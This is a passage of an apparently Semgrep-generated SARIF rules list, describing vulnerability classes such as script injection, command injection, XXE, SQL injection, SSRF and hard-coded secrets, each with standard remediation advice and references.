[https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections](https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections)\n - [https://securitylab.github.com/research/github-actions-untrusted-input/](https://securitylab.github.com/research/github-actions-untrusted-input/)\n - [https://github.com/actions/github-script](https://github.com/actions/github-script)\n","text":"Using variable interpolation `${{...}}` with `github` context data in a `actions/github-script`'s `script:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\"."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.github-script-injection.github-script-injection","id":"yaml.github-actions.security.github-script-injection.github-script-injection","name":"yaml.github-actions.security.github-script-injection.github-script-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.github-script-injection.github-script-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.mongo.java-mongo-hardcoded-secret.java-mongo-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.mongo.java-mongo-hardcoded-secret.java-mongo-hardcoded-secret","id":"java.mongo.java-mongo-hardcoded-secret.java-mongo-hardcoded-secret","name":"java.mongo.java-mongo-hardcoded-secret.java-mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.mongo.java-mongo-hardcoded-secret.java-mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib-secure-if-array.tainted-os-command-stdlib-secure-if-array)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib-secure-if-array.tainted-os-command-stdlib-secure-if-array","id":"python.lang.os.tainted-os-command-stdlib-secure-if-array.tainted-os-command-stdlib-secure-if-array","name":"python.lang.os.tainted-os-command-stdlib-secure-if-array.tainted-os-command-stdlib-secure-if-array","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.os.tainted-os-command-stdlib-secure-if-array.tainted-os-command-stdlib-secure-if-array"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a formatted template string passed to 'template.HTML()'. 'template.HTML()' does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability."},"help":{"markdown":"Found a formatted template string passed to 'template.HTML()'. 'template.HTML()' does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.formatted-template-string.formatted-template-string)\n - [https://golang.org/pkg/html/template/#HTML](https://golang.org/pkg/html/template/#HTML)\n","text":"Found a formatted template string passed to 'template.HTML()'. 'template.HTML()' does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.formatted-template-string.formatted-template-string","id":"go.lang.security.audit.net.formatted-template-string.formatted-template-string","name":"go.lang.security.audit.net.formatted-template-string.formatted-template-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.formatted-template-string.formatted-template-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","id":"java.lang.security.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","name":"java.lang.security.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"IDEA (International Data Encryption Algorithm) is a block cipher created in 1991.  It is an optional component of the OpenPGP standard. This cipher is susceptible to attacks when using weak keys.  It is recommended that you do not use this cipher for new applications. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"help":{"markdown":"IDEA (International Data Encryption Algorithm) is a block cipher created in 1991.  It is an optional component of the OpenPGP standard. This cipher is susceptible to attacks when using weak keys.  It is recommended that you do not use this cipher for new applications. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms.insecure-cipher-algorithm-idea)\n - [https://tools.ietf.org/html/rfc5469](https://tools.ietf.org/html/rfc5469)\n - [https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#cryptography.hazmat.primitives.ciphers.algorithms.IDEA](https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#cryptography.hazmat.primitives.ciphers.algorithms.IDEA)\n","text":"IDEA (International Data Encryption Algorithm) is a block cipher created in 1991.  It is an optional component of the OpenPGP standard. This cipher is susceptible to attacks when using weak keys.  It is recommended that you do not use this cipher for new applications. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms.insecure-cipher-algorithm-idea","id":"python.cryptography.security.insecure-cipher-algorithms.insecure-cipher-algorithm-idea","name":"python.cryptography.security.insecure-cipher-algorithms.insecure-cipher-algorithm-idea","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-cipher-algorithms.insecure-cipher-algorithm-idea"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-httponly-missing.flask-cookie-httponly-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-httponly-missing.flask-cookie-httponly-missing","id":"python.flask.web.flask-cookie-httponly-missing.flask-cookie-httponly-missing","name":"python.flask.web.flask-cookie-httponly-missing.flask-cookie-httponly-missing","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-httponly-missing.flask-cookie-httponly-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"AWS Session Token detected"},"help":{"markdown":"AWS Session Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-aws-session-token.detected-aws-session-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"AWS Session Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-aws-session-token.detected-aws-session-token","id":"generic.secrets.security.detected-aws-session-token.detected-aws-session-token","name":"generic.secrets.security.detected-aws-session-token.detected-aws-session-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-aws-session-token.detected-aws-session-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption."},"help":{"markdown":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.use-after-free.local-variable-new-delete.local-variable-new-delete)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime](https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime)\n","text":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.use-after-free.local-variable-new-delete.local-variable-new-delete","id":"cpp.lang.security.use-after-free.local-variable-new-delete.local-variable-new-delete","name":"cpp.lang.security.use-after-free.local-variable-new-delete.local-variable-new-delete","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.use-after-free.local-variable-new-delete.local-variable-new-delete"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.mysql.mysql-empty-password.mysql-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.mysql.mysql-empty-password.mysql-empty-password","id":"go.secrets.mysql.mysql-empty-password.mysql-empty-password","name":"go.secrets.mysql.mysql-empty-password.mysql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.mysql.mysql-empty-password.mysql-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.open-redirect-pathname.open-redirect-pathname)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/javascript.browser.open-redirect-pathname.open-redirect-pathname","id":"javascript.browser.open-redirect-pathname.open-redirect-pathname","name":"javascript.browser.open-redirect-pathname.open-redirect-pathname","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.open-redirect-pathname.open-redirect-pathname"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$POLICY` is missing a `condition` block which scopes users of this policy to specific GitHub repositories. Without this, `$POLICY` is open to all users on GitHub. Add a `condition` block on the variable `token.actions.githubusercontent.com:sub` which scopes it to prevent this."},"help":{"markdown":"`$POLICY` is missing a `condition` block which scopes users of this policy to specific GitHub repositories. Without this, `$POLICY` is open to all users on GitHub. Add a `condition` block on the variable `token.actions.githubusercontent.com:sub` which scopes it to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.unrestricted-github-oidc-policy.unrestricted-github-oidc-policy)\n - [https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services#configuring-the-role-and-trust-policy](https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services#configuring-the-role-and-trust-policy)\n - [https://dagrz.com/writing/aws-security/hacking-github-aws-oidc/](https://dagrz.com/writing/aws-security/hacking-github-aws-oidc/)\n","text":"`$POLICY` is missing a `condition` block which scopes users of this policy to specific GitHub repositories. Without this, `$POLICY` is open to all users on GitHub. Add a `condition` block on the variable `token.actions.githubusercontent.com:sub` which scopes it to prevent this."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.unrestricted-github-oidc-policy.unrestricted-github-oidc-policy","id":"terraform.aws.security.unrestricted-github-oidc-policy.unrestricted-github-oidc-policy","name":"terraform.aws.security.unrestricted-github-oidc-policy.unrestricted-github-oidc-policy","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.unrestricted-github-oidc-policy.unrestricted-github-oidc-policy"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.aws-lambda.security.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/java.aws-lambda.security.tainted-sql-string.tainted-sql-string","id":"java.aws-lambda.security.tainted-sql-string.tainted-sql-string","name":"java.aws-lambda.security.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.aws-lambda.security.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Avoid using insecure deserialization library, backed by `pickle`, `_pickle`, `cpickle`, `dill`, `shelve`, or `yaml`, which are known to lead to remote code execution vulnerabilities."},"help":{"markdown":"Avoid using insecure deserialization library, backed by `pickle`, `_pickle`, `cpickle`, `dill`, `shelve`, or `yaml`, which are known to lead to remote code execution vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.avoid-insecure-deserialization.avoid-insecure-deserialization)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Avoid using insecure deserialization library, backed by `pickle`, `_pickle`, `cpickle`, `dill`, `shelve`, or `yaml`, which are known to lead to remote code execution vulnerabilities."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.avoid-insecure-deserialization.avoid-insecure-deserialization","id":"python.django.security.audit.avoid-insecure-deserialization.avoid-insecure-deserialization","name":"python.django.security.audit.avoid-insecure-deserialization.avoid-insecure-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.avoid-insecure-deserialization.avoid-insecure-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A parameter being passed directly into `url` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"help":{"markdown":"A parameter being passed directly into `url` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.dispatch-ssrf.dispatch-ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://dispatchhttp.org/Dispatch.html](https://dispatchhttp.org/Dispatch.html)\n","text":"A parameter being passed directly into `url` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.dispatch-ssrf.dispatch-ssrf","id":"scala.lang.security.audit.dispatch-ssrf.dispatch-ssrf","name":"scala.lang.security.audit.dispatch-ssrf.dispatch-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.dispatch-ssrf.dispatch-ssrf"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"help":{"markdown":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.debug.debug-flask-passthrough-errors.debug-flask-passthrough-errors)\n - [https://flask.palletsprojects.com/en/3.0.x/debugging/](https://flask.palletsprojects.com/en/3.0.x/debugging/)\n","text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production 